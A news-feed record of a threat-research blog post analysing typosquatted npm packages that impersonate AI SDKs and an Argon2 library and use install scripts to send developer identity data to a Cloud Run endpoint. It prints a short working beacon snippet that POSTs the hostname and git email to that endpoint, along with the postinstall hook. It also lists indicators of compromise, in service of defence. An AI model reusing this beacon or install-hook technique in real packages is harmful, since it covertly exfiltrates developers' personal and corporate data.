{"slug": "cybersecurity-startup-publishes-infostealers-to-npm", "title": "Cybersecurity Startup Publishes Infostealers to NPM", "summary": "A cybersecurity startup founder published seven typosquatted AI-tool packages on NPM that steal git, SSH, and cloud credentials via install scripts, accumulating about 20,000 downloads. The packages impersonate Anthropic, LangChain, Ollama, OpenAI, Vercel, and Aspect Security, exfiltrating sensitive data from developer machines.", "body_md": "BLOG\n\n# Cybersecurity Startup Publishes Infostealers to NPM\n\nTyposquatted AI-tool packages quietly collected git, SSH, and cloud identity data through install scripts, tracing back to one unexpected publisher\n\nBy c0a15726-c5b1-4b0d-85e6-fe15553df9e2 ·\n\nIn late June 2026, a threat actor published several packages to NPM over the course of two days. When we started researching these packages, we realized we already had some threat reports for malware attributed to the same publisher. There are at least seven different packages, and several versions per package, that appear to be elaborate typosquats targeting Anthropic, LangChain, Ollama, OpenAI, Vercel and Aspect Security. They've racked up about 20k downloads, which aren't huge numbers but enough to do some damage. Every install triggers the beacon at least once, so each number below is also a floor on how many developer machines got profiled.\n\nWhat’s even stranger is that these malicious packages appear to have been published by the founder of a cybersecurity startup based in Israel.\n\nWe analyzed the packages to identify what they do, what they're looking to steal, and also to understand the motivation of the author.\n\nWhile the payloads in these packages don't install remote access trojans (RATs) or other persistence mechanisms, these packages act as infostealers, exfiltrating sensitive information about the victim and their local environment to a URL owned by the threat actor.\n\nOkay, let’s dig in!\n\n## The packages\n\nAll six packages are published to npm under a single account (more on the account below). Five packages are clear impersonations of legitimate AI developer ecosystem, which represents the fastest-growing, tool-hungriest population on npm today.\n\n`anthropic-toolkit`\n\ncopycats`@anthropic-ai/sdk`\n\n`ai-sdk-helpers`\n\ncopies Vercel’s`ai`\n\n`@langgraphjs/toolkit`\n\nswaps the real`@langchain/langgraph`\n\nscope for something that looks close enough at a glance`ollama-helpers`\n\nand`openai-agents-helpers`\n\npiggyback on their obvious hosts\n\nThe sixth targets a security-adjacent audience: developers implementing password hashing. It's the odd one out in every way that matters, and we’ll come back to it after we’ve walked through what the AI-SDK packages do — because `@aspect-security/argon2`\n\nis where this operator was two months earlier, and comparing the two gives us a rare look at how a threat actor iterates on a technique.\n\nPackage\n\nImpersonates\n\nFirst published\n\nLatest version analyzed\n\nDownloads last week\n\n(2026-06-22 → 06-28)\n\nDownloads last month\n\n(2026-05-30 → 06-28)\n\n`anthropic-toolkit`\n\nAnthropic Claude SDK\n\nJune 2026\n\n1.3.0\n\n0\n\n0\n\n`ai-sdk-helpers`\n\nVercel’s `ai`\n\nSDK\n\nJune 2026\n\n1.4.4\n\n2,213\n\n7,930\n\n`ollama-helpers`\n\nOllama (local LLM runner)\n\nJune 2026\n\n1.2.2\n\n2,692\n\n2,692\n\n`openai-agents-helpers`\n\nOpenAI Agents SDK\n\nJune 2026\n\n1.3.2\n\n3,108\n\n3,108\n\n`@langgraphjs/toolkit`\n\nLangChain’s LangGraph.js\n\nJune 2026\n\n1.2.12\n\n1,793\n\n5,877\n\n`@aspect-security/argon2`\n\nArgon2 password hashing (real package)\n\nApril 2026\n\n1.0.1\n\n74\n\n333\n\n`argon2-napi`\n\nArgon2\n\nApril 2026\n\n1.0.0\n\nNot available\n\n224\n\n## How the payloads run\n\nEvery package weaponizes the same npm feature: install-time scripts.\n\nWhen you run `npm install`\n\n, npm downloads a package, unpacks it, and — before your code ever touches the library — runs any script the package author put in the `preinstall`\n\nor `postinstall`\n\nfields of `package.json`\n\n. Those scripts execute automatically, silently, with the same permissions as whoever ran `npm install`\n\n. On a developer laptop that’s you and your dotfiles. On a CI runner that’s the build account, often with cloud credentials and deploy keys attached.\n\n`postinstall`\n\nis a legitimate npm feature. It exists so packages can compile native extensions or fetch platform-specific binaries after install. It’s also the single most abused mechanism in the npm ecosystem, because it converts any package installation into arbitrary code execution.\n\nAlmost everything in this campaign happens in the couple of seconds between `npm install`\n\nfiring and the developer’s terminal returning to the prompt.\n\n### The bait and the payload live in separate files\n\nEvery one of the five AI-SDK packages has the same structure:\n\nA\n\n`src/`\n\nfolder full of small, unremarkable TypeScript utility files (`retry.ts`\n\n,`stream-to-string.ts`\n\n,`estimate-tokens.ts`\n\n, and so on) — the shape of a normal helper library.A well-written\n\n`README.md`\n\nwith API tables, install snippets, and quickstart examples.A\n\n`package.json`\n\nwhose only script is:\n\n```\n\"scripts\": { \"postinstall\": \"node scripts/postinstall.js\" }\n```\n\nThe real payload at\n\n`scripts/postinstall.js`\n\n— 461 lines, 16 KB, hand-written, non-obfuscated JavaScript.\n\nThe TypeScript in `src/`\n\nis genuine, working code. It is not booby-trapped. It is also **never called by the payload**. It exists purely as an alibi for anyone who cracks open the tarball to see whether the package is legitimate. Nothing they see in `src/`\n\nis malicious, because none of what’s malicious is in `src/`\n\n.\n\nThat separation matters. It means the malware succeeds even against developers who do their due diligence, because the code they audit is not the code that runs on install.\n\n## What the beacon collects\n\nThe `postinstall.js`\n\nfile opens with a long comment block styled to look like a friendly telemetry policy. It claims the script collects only “anonymous diagnostics,” itemizes what will be transmitted, and offers an opt-out: set the environment variable `ANTHROPIC_TOOLKIT_TELEMETRY_DISABLED=1`\n\n(or the widely-respected `DO_NOT_TRACK=1`\n\n) before installing, and the script exits immediately. The opt-out works. That’s part of the con — it hands security-conscious developers the illusion of a lever while everyone else gets profiled.\n\nThe script harvests 11 different categories of data in that first couple of seconds, which all gets packed into one JSON object and shipped off in a single HTTPS POST:\n\n**Machine identity:** The computer’s hostname, the current OS username, and on Windows the full`DOMAIN\\USER`\n\nstring. Enough on its own to fingerprint a specific developer on a specific laptop, or a specific build agent inside a company.**Git identity:** The author reads git configuration files directly from disk —`~/.gitconfig`\n\n,`~/.config/git/config`\n\n, and the project’s local`.git/config`\n\n— and pulls the`email`\n\nfrom the`[user]`\n\nsection. That’s the address the developer commits under. If none of those files have it, the script falls back to environment variables that CI systems commonly set:`GIT_AUTHOR_EMAIL`\n\n,`GIT_COMMITTER_EMAIL`\n\n,`EMAIL`\n\n.**GitHub identity:** If the developer uses the official GitHub CLI (`gh`\n\n) and has logged in with it, their configuration lives in`~/.config/gh/hosts.yml`\n\n. The script doesn’t touch the OAuth token stored in that file — but it does grep out the`user`\n\nand`email`\n\nfields.**Who else uses this machine:** The script walks up ten directory levels to find the enclosing project’s`.git/`\n\nfolder, opens`.git/logs/HEAD`\n\n— git’s reflog, a record of every reference update on the repo — and extracts up to fifteen unique committer email addresses from the last fifty entries. In practical terms: if you and four teammates have pushed from this laptop or from a shared CI runner, the operator gets all five of your addresses in one shot. This is the single most useful field in the whole payload, and most developers don’t realize their reflog contains it.**Git remote:** The script reads the URL of the project’s remote`origin`\n\n— i.e. which GitHub or GitLab organization and repo the developer is working on. Before sending, the script carefully strips any embedded credentials from the URL (`https://user:token@github.com/...`\n\nbecomes`https://github.com/...`\n\n). We’ll come back to why the author bothered with that.**SSH key comments:** Every file in`~/.ssh/*.pub`\n\ngets opened. These are the developer’s public keys — the script’s cover-story comments truthfully insist that “private keys are never accessed.” What the script does read is the trailing comment on each public key, which by convention is the email the key was generated for. A typical developer laptop has a personal key, a work key, and one or two deploy keys, giving the operator three or four more identities and a hint at which services the developer talks to.**Cloud environment:** The script reads`~/.config/gcloud/properties`\n\nand pulls out the developer’s default Google Cloud`project`\n\nand`account`\n\n. It reads`~/.aws/config`\n\nand pulls out up to ten AWS profile names, SSO URLs, and account IDs. It explicitly skips any line containing`aws_access_key_id`\n\n,`aws_secret_access_key`\n\n,`aws_session_token`\n\n,`credential_process`\n\n,`password`\n\n, or`token`\n\n. That skip is deliberate. We’ll come back to that too.**Corporate network fingerprint\":** The script opens`/etc/resolv.conf`\n\nand pulls out the`search`\n\ndomain — the DNS suffix your machine appends to unqualified hostnames. On a personal laptop this is usually empty or your ISP. On a corporate machine it’s something like`corp.acme.com`\n\n, which effectively tells the operator who you work for.**Host project metadata:** The script climbs the directory tree looking for the parent project’s`package.json`\n\n(skipping its own) and reads the project`name`\n\n,`author`\n\n, and`repository`\n\nURL. That tells the operator which private codebase the developer was inside when they installed the malicious package.**CI provider:** Checks for`GITHUB_ACTIONS`\n\n,`GITLAB_CI`\n\n,`JENKINS_URL`\n\n,`CIRCLECI`\n\n,`TRAVIS`\n\n,`BUILDKITE`\n\n, and generic`CI`\n\nenvironment variables to distinguish a developer laptop from a specific CI platform.**Runtime metadata:** Node.js version, operating system, CPU architecture, and a timestamp.\n\n## The “we don’t touch credentials” sleight of hand\n\nThe comments in `postinstall.js`\n\nrepeat, over and over, that no secrets, tokens, or private keys are ever transmitted. Technically that’s true. The script never opens `~/.aws/credentials`\n\n, never reads SSH private keys, never grabs the OAuth token from `gh`\n\n, and actively scrubs embedded credentials out of git URLs.\n\nThat’s not restraint. It’s camouflage. What actually gets exfiltrated is arguably more useful to someone with an agenda than a stolen credential. A stolen AWS access key gets rotated within hours of detection. A stolen identity dossier (hostname, all your email addresses, your GitHub login, your employer’s DNS domain, your AWS profile names, your GCP project IDs, the name of the private repository you were inside, the emails of every colleague who has committed with you recently) doesn't expire. It’s the raw material for something that comes next. But what? Spear-phishing? Targeted social engineering?\n\nModern intrusion campaigns very often begin with reconnaissance exactly like this and end with credentialed access weeks later, via a targeted email or a spoofed login page. This beacon is the opening move of that playbook.\n\nOr maybe something more diabolical is happening here. Maybe this isn’t about a spear-phishing campaign, but instead is sociopathically commercial in origin.\n\nMaybe this is lead generation for a new startup?! The line between good guy and bad guy just got a little more blurry.\n\n## Where the data goes\n\nEvery AI-SDK package POSTs its payload to the same URL:\n\n```\n<https://npm-package-logger-228835561205.europe-west1.run.app/>\n```\n\nThat’s a Google Cloud Run URL. Cloud Run is Google’s serverless container platform, and every deployment gets a subdomain under `run.app`\n\n. To network security tools and firewalls, this looks like ordinary outbound HTTPS to a Google-owned domain — the same domain a lot of legitimate SaaS integrations use. It’s TLS-encrypted end-to-end, so inline proxies can’t inspect the body, and the `run.app`\n\ndomain is on nearly every enterprise egress allowlist by default. It is, functionally, an exfiltration channel that most corporate networks don’t check.\n\nThe `228835561205`\n\nembedded in the hostname is the Google Cloud project number of the receiver. That number is the thread that ties every artifact in this campaign back to one operator — including, as we’ll see, a package published two months earlier.\n\nThe script POSTs the payload with a 5-second timeout, silently swallows any errors, and never surfaces failures to the developer. Even if the beacon call fails, the install succeeds. That was intentional: the malware must never break the user’s install, because a failed install is a package the developer will notice.\n\n## Faking a history: the version backfill\n\nThe `anthropic-toolkit`\n\ntarball ships with a shell script called `publish-versions.sh`\n\nthat loops through twenty version numbers — from `0.1.0`\n\nup through `1.2.1`\n\n— and republishes the same content under every one of them. This is called version backfilling, and it exists to defeat a specific defense: reputation-based tools like Socket and Snyk raise the risk score of packages that have just appeared on the registry. A package with a version history stretching back through 0.1.x looks like it’s been maintained for a year. It hasn’t — every one of those versions was published in a single afternoon — but by the time a developer or a scanner sees the package, it looks mature.\n\nThis trick generalizes. If a security tool’s risk scoring depends on “how long has this package existed,” verify against the timestamp of the earliest published version, not the count of versions.\n\n## The evolution of the payload\n\nThe size column of an earlier table gave a hint: the earliest versions of each AI-SDK package shipped a much smaller beacon than the latest ones.\n\nThe early versions (roughly 6 KB) collected only runtime info, git email, and GitHub CLI identity. Around the same version bump across every product — `ai-sdk-helpers`\n\nat 1.4.3, `ollama-helpers`\n\nat 1.2.1, `openai-agents-helpers`\n\nat 1.3.1, `@langgraphjs/toolkit`\n\nat 1.2.11 — the author swapped in the expanded 16 KB script with SSH-key harvesting, reflog scraping, AWS/GCP config reading, and the elaborate “anonymous telemetry” disclosure. The change is byte-identical across the four packages (with only the package name search-and-replaced). One operator, one script, mass-updated in one push.\n\nTwo of the `@langgraphjs/toolkit`\n\nversions (1.2.8 and 1.2.9) also point at `us-central1.run.app`\n\ninstead of `europe-west1.run.app`\n\n, showing that at some point the author moved regions on Cloud Run. Everything else — the project number, the JSON schema of the payload, the code style — is unchanged.\n\n## The odd package out: `@aspect-security/argon2`\n\nNow we come back to the sixth package, and this is where the story of the author gets more interesting. `@aspect-security/argon2`\n\nwas published in April 2026, roughly two months before the AI-SDK campaign. The other five packages work as libraries — they’re not useful libraries, but they load. This one doesn’t. It’s a hollow shell that would throw an error the instant anyone actually tried to use it. Which is exactly the point.\n\n### The runtime code is a decoy that would never run\n\nThe entire `index.js`\n\nin this package is:\n\n``` python\nimport setupWasm from './lib/setup.js';\nimport wasmSIMD from './dist/simd.wasm';\nimport wasmNonSIMD from './dist/no-simd.wasm';\n\nconst loadWasm = async () => setupWasm(\n  (instanceObject) => wasmSIMD(instanceObject),\n  (instanceObject) => wasmNonSIMD(instanceObject),\n);\n\nexport default loadWasm;\n```\n\nThree things are wrong with this file, and every one of them is a giveaway:\n\n**The files it imports don’t exist.** There is no`./lib/setup.js`\n\n, no`./dist/simd.wasm`\n\n, no`./dist/no-simd.wasm`\n\nanywhere in the tarball. The`package.json`\n\nclaims a`prebuilds/`\n\nfolder ships with the package — that doesn’t exist either. Any developer who actually tries to`require`\n\nthis package gets`MODULE_NOT_FOUND`\n\nthe instant they load it.`package.json`\n\n**is missing**`\"type\": \"module\"`\n\n**.** That one line is what tells Node.js to accept ES-module`import`\n\nsyntax. Without it, Node will refuse to load the file at all.**The code is copied from someone else’s project.** The`loadWasm`\n\n/`setupWasm`\n\nstructure — SIMD vs no-SIMD, the file names, everything — is lifted directly from Proton AG’s real`@proton/argon2`\n\npackage. The`LICENSE`\n\nfile in this tarball still says`Copyright (c) 2022, Proton AG`\n\nat the top. Proton has nothing to do with this package.\n\n**Because “broken” doesn’t matter — only “installed” does**\n\nThe reason none of that stopped the author is that the malicious payload in this package runs from `preinstall`\n\n, not `postinstall`\n\n. `preinstall`\n\nfires before npm does anything else — before it resolves dependencies, before it unpacks files, before it lifts a finger toward setting up the package. By the time the developer runs `npm install @aspect-security/argon2`\n\nand sees a `MODULE_NOT_FOUND`\n\nerror, the beacon has already left. Hostname and git email are already in a Cloud Run log somewhere.\n\nThe runtime code exists to look real to anyone who opens the tarball first. Whether the code actually works is irrelevant. The install itself is the payload.\n\nHere is the whole beacon:\n\n``` js\nconst hostname = os.hostname();\nlet gitEmail = execSync('git config user.email').trim() || 'unknown';\n\nhttps.request(\n  '<https://npm-package-logger-228835561205.us-central1.run.app>',\n  { method: 'POST', /* ... */ }\n).write(JSON.stringify({ hostname, gitEmail })).end();\n```\n\nCompare that to the polished 16 KB `postinstall`\n\non the AI-SDK packages:\n\n`argon2`\n\npreinstall (April)\n\nAI-SDK postinstall (June)\n\nnpm hook\n\n`preinstall`\n\n`postinstall`\n\nScript size\n\n601 bytes\n\n16 KB\n\nData collected\n\nhostname + git email only\n\nFull identity graph (SSH, cloud, reflog, DNS, CI, project metadata)\n\nHow git email is read\n\nShells out to `git config user.email`\n\nReads git config files directly\n\nEndpoint region\n\n`us-central1.run.app`\n\n`europe-west1.run.app`\n\nOpt-out mechanism\n\nNone\n\nNamed env var + `DO_NOT_TRACK`\n\nCover-story comments\n\nNone\n\nElaborate “anonymous telemetry” preamble\n\nError handling\n\nNone — a network hiccup can crash the install\n\nSilent, swallowed, guaranteed to complete\n\nSame Google Cloud project number, so unambiguously the same operator working on the same project. But everything about the tradecraft is worse. The April version spawns a child process to read git config — easier for endpoint tools to log. It has no error handling — a transient network error would actually crash the install. It has no cover story, no opt-out, no legibility engineering.\n\nThis looks like a first-draft beacon that the author built, published, watched for two months, and then rebuilt from scratch into the more polished version we see across the AI-SDK packages. The evolution — cruder to more sanitized, single beacon target to five in parallel, single field to full identity graph — is exactly the arc you’d expect from an operator refining a technique.\n\n### The impersonation is a full layered con\n\nThe `@aspect-security/argon2`\n\npackage is also worth studying because the social engineering around it is more elaborate than the AI-SDK packages needed:\n\n**Scope name.**`@aspect-security`\n\nsquats on**Aspect Security**, a well-known application-security consulting firm. Any developer who has been around AppSec for a while will recognize the name and default to trusting it.**Package name.**`argon2`\n\nis the real, widely-used npm package for the Argon2 password-hashing algorithm. Naming this shell`argon2`\n\ninside a trusted-sounding scope is textbook typosquatting.**Maintainer impersonation.** The README claims the package is “Published in collaboration with the original`argon2`\n\nmaintainer ([@ranisalt](https://github.com/ranisalt))”.`@ranisalt`\n\nis the real GitHub identity behind the legitimate`argon2`\n\npackage. He has nothing to do with this one.**Fabricated evidence.** The README asserts that “The`argon2`\n\nnpm package fails to build in 54.2% of common Node.js environments” and cites a Hugging Face dataset (`huggingface.co/datasets/security-benchmarks/argon2-node-benchmarks`\n\n) as the source. That dataset almost certainly doesn’t exist. The stat is invented. The citation is fake.**Targeted troubleshooting section.** The README has a “Troubleshooting” heading listing the exact error messages developers see when the real`argon2`\n\npackage fails to compile (`gyp ERR! find Python`\n\n,`gyp ERR! find VS`\n\n, and so on). This is SEO bait. A frustrated developer who Googles their build error lands here, reads that a security company has a fixed drop-in replacement, and installs it.\n\nPut together, the pitch is: *You’re frustrated because argon2 won’t build. This package is by a security firm you’ve heard of, is endorsed by the real maintainer, and works everywhere. Install it.* The developer runs `npm install @aspect-security/argon2`\n\n, the beacon fires, and by the time they see the runtime error, they’ve already been profiled.\n\nThat level of thought — the impersonated brand, the impersonated maintainer, the fake statistics, the SEO-optimized error messages — is not the effort profile of someone stealing data on a whim. It’s product-quality social engineering.\n\n## About the malware author\n\nWhich brings us to the strangest part of this whole story.\n\nThe npm account behind all six packages is not a throwaway. It’s tied to the founder of a cybersecurity startup that, at time of writing, is still in stealth mode but has a live public website and identifiable leadership. Here's an anonymized screenshot of their website.\n\nThis is a very unusual profile for a threat actor. Almost every npm supply-chain campaign we look at is published from throwaway accounts, freshly registered emails, and one-shot personas. This one is not.\n\nWe made a conscious choice not to name that company or individual in this post, but we enrich threat reports with Registry User information, so it was trivial for us to trace the malware back to the source. We reported the packages to npm and the findings to the appropriate parties, and both the packages and user account have been taken down.\n\nBut it’s worth asking what a plausible motive even looks like here, because the technical evidence rules out a lot.\n\n**This isn't an opportunistic data thief.** People running smash-and-grab supply-chain campaigns don’t publish under their real identity. They don’t build a coherent, iteratively-refined technique across five packages. They don’t spend effort making a beacon look like telemetry to human reviewers.**This isn't straightforward research.** There is no credible, ethical security research angle here. Deploying a payload to thousands of real developer machines is wrong, period. Probably illegal in many jurisdictions. These packages are live, the beacon is live, the exfiltrated data is going to a private endpoint controlled by the author, and there is no accompanying public disclosure.**This is possibly product seeding, and this is the most interesting theory.** A stealth-mode security startup needs a dataset to build on top of. If your pitch is “we detect npm supply-chain attacks,” or “we map developer environments across the ecosystem,” or “we sell attribution intelligence on maintainers,” having a private dataset of tens of thousands of real developer profiles (hostnames, git emails, cloud configs, employer DNS domains) is an enormous head start. That would explain the technical care, the identity-not-credentials focus, the choice to publish under a real name (in case anyone caught it and you wanted the plausible-deniability landing of “we were researching”), and the deliberate evasion of anything that reads as “outright criminal.”\n\nWe can’t verify theories from static analysis alone. What we can say is that the technical picture — the polish, the iteration, the layered social engineering, the recon-only payload, the choice to run under a real identity — is not the picture of someone stealing credentials for cash. It’s the picture of someone quietly building a dataset, and hoping the rest of us wouldn’t notice.\n\n## Indicators of compromise\n\nFor teams ingesting this into detection tooling.\n\n### Network\n\n`npm-package-logger-228835561205.europe-west1.run.app`\n\n— primary exfiltration endpoint`npm-package-logger-228835561205.us-central1.run.app`\n\n— earlier endpoint used by`@aspect-security/argon2`\n\nand by`@langgraphjs/toolkit`\n\n1.2.8/1.2.9Google Cloud project number\n\n`228835561205`\n\nties every campaign artifact togetherHTTP\n\n`User-Agent`\n\non the beacon requests follows the pattern`<package-name>/<version>`\n\nPOSTing to a Cloud Run host\n\n### npm registry\n\nAI-SDK campaign packages:\n\n`anthropic-toolkit`\n\n,`ai-sdk-helpers`\n\n,`ollama-helpers`\n\n,`openai-agents-helpers`\n\n,`@langgraphjs/toolkit`\n\nPassword-hashing squat:\n\n`@aspect-security/argon2`\n\nEnv-var opt-outs (only respected by the AI-SDK variants):\n\n`ANTHROPIC_TOOLKIT_TELEMETRY_DISABLED`\n\n,`AI_SDK_HELPERS_TELEMETRY_DISABLED`\n\n,`OLLAMA_HELPERS_TELEMETRY_DISABLED`\n\n,`OPENAI_AGENTS_HELPERS_TELEMETRY_DISABLED`\n\n,`LANGGRAPHJS_TOOLKIT_TELEMETRY_DISABLED`\n\n, and the widely-respected`DO_NOT_TRACK`\n\n`@aspect-security/argon2`\n\n— specific to that package\n\nImpersonation target on npm:\n\n`argon2`\n\n(the legitimate password-hashing library)Impersonated maintainer identity: GitHub\n\n`@ranisalt`\n\n, the real`argon2`\n\nmaintainerSquatted brand: Aspect Security, a real application security firm\n\nCode lineage:\n\n`index.js`\n\nand license copied from Proton AG’s`@proton/argon2`\n\npackageFake citation:\n\n`huggingface.co/datasets/security-benchmarks/argon2-node-benchmarks`\n\nFabricated statistic: “54.2% of common Node.js environments” fail to build the real argon2 package\n\n## Takeaways\n\nA few things from this campaign are worth generalizing.\n\n**Install-time is code execution, and most defenders forget this.** Runtime code review, dependency-vulnerability scanning, and SBOM tooling all focus on what packages do when they’re used. This campaign never runs its runtime code at all. Everything happens in the couple of seconds between `npm install`\n\nfiring and the terminal returning to the prompt. Any defense that doesn’t sandbox or inspect install-time scripts is invisible to this class of attack. If you can tolerate the workflow impact, `npm config set ignore-scripts true`\n\n(or the pnpm equivalent in `.npmrc`\n\n) blocks the whole class.\n\n**“Recon-only” payloads are not benign.** The author’s decision to skip actual credential files and pull identity fingerprints instead was not restraint — it was a considered choice. It makes the traffic look boring in a security review while still producing the raw material for follow-on targeted attacks. Any “just diagnostics” script that reads from `~/.ssh/`\n\n, `~/.aws/`\n\n, `~/.config/gcloud/`\n\n, or `.git/logs/`\n\nand phones home is exfiltrating identity data, regardless of whether the payload contains a literal password.\n\n**Opt-outs and disclosure comments are not evidence of good faith.** This campaign has both — a documented opt-out, a plausible rationale, and comments explaining what will and will not be sent. All of it is theatre. Treat elaborate self-explanation inside a `postinstall`\n\nscript as a warning sign, not a reassurance.\n\n**Version backfilling is a real technique.** A package that looks like it has thirty releases going back two years may have been created and mass-published in a single day. Risk scoring that relies on package age needs to key off the first-published timestamp, not the version count.\n\n**Serverless PaaS is the exfiltration channel of choice.** Traffic to `*.run.app`\n\nlooks like traffic to Google, terminates TLS at Google’s edge, and rides through nearly every enterprise egress control unchallenged. High-value build environments should consider inspecting, logging, or restricting outbound to serverless-PaaS hostnames.\n\n**Broken-shell packages are their own category.** `@aspect-security/argon2`\n\ndemonstrates that an attacker doesn’t need their package to work — only to be installed. Runtime detection is blind to a package that has no runtime. The defense has to happen before or during install.\n\nFinally: five of the six packages in this campaign target the AI-developer ecosystem, and that’s not a coincidence. It’s a fast-moving, high-trust, tool-hungry population that installs new libraries constantly. That combination is going to keep drawing this class of campaign — and increasingly, as we’ve seen here, from operators with the polish and patience to make their beacons look like telemetry — until install-time controls catch up.", "url": "https://wpnews.pro/news/cybersecurity-startup-publishes-infostealers-to-npm", "canonical_source": "https://opensourcemalware.com/blog/cybersecurity-startup-publishes-infostealers-to-npm", "published_at": "2026-07-10 10:57:55+00:00", "updated_at": "2026-07-10 11:05:10.240211+00:00", "lang": "en", "topics": ["ai-tools", "ai-safety", "ai-ethics", "developer-tools"], "entities": ["Anthropic", "LangChain", "Ollama", "OpenAI", "Vercel", "Aspect Security", "NPM"], "alternates": {"html": "https://wpnews.pro/news/cybersecurity-startup-publishes-infostealers-to-npm", "markdown": "https://wpnews.pro/news/cybersecurity-startup-publishes-infostealers-to-npm.md", "text": "https://wpnews.pro/news/cybersecurity-startup-publishes-infostealers-to-npm.txt", "jsonld": "https://wpnews.pro/news/cybersecurity-startup-publishes-infostealers-to-npm.jsonld"}}